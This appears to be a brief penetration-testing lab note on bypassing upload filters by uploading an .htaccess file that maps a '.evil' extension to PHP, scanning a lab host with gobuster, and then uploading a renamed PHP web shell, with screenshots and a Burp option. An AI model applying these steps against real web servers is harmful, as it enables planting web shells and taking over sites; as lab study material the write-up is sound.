# .htaccess to allow extension

Add Type application/x-httpd-php .evil

```bash
# Check the extension type
cat .htaccess 

AddType application/x-httpd-php .evil
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2F1vj9a5VIKttG2xe6IuGM%2Fimage.png?alt=media&#x26;token=67cc9de8-68c5-4d94-9541-5ba606cdb55a" alt=""><figcaption></figcaption></figure>

#### Check the upload location.

{% code overflow="wrap" %}
```bash
gobuster dir -u http://192.168.120.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
{% endcode %}

#### Upload the .htaccess.&#x20;

Hit Ctr + h key to show dot extension for file upload.

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2Fj4ctIFRreb3kVLxLSRwE%2Fimage.png?alt=media&#x26;token=1834fb94-aa84-493b-accb-342dde730847" alt=""><figcaption></figcaption></figure>

Then you can upload the file.&#x20;

Or, use a BURP to change the name and add the content to the request.&#x20;

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FmOOaVgsQKoyYcTC0MJND%2Fimage.png?alt=media&#x26;token=bbadb48f-264a-4a9e-ac0b-51fa5c35850b" alt=""><figcaption></figcaption></figure>

#### Upload shell.evil (php file, etc.)&#x20;

Rename the file to whatever you have defined in .htaccess and upload the file.&#x20;
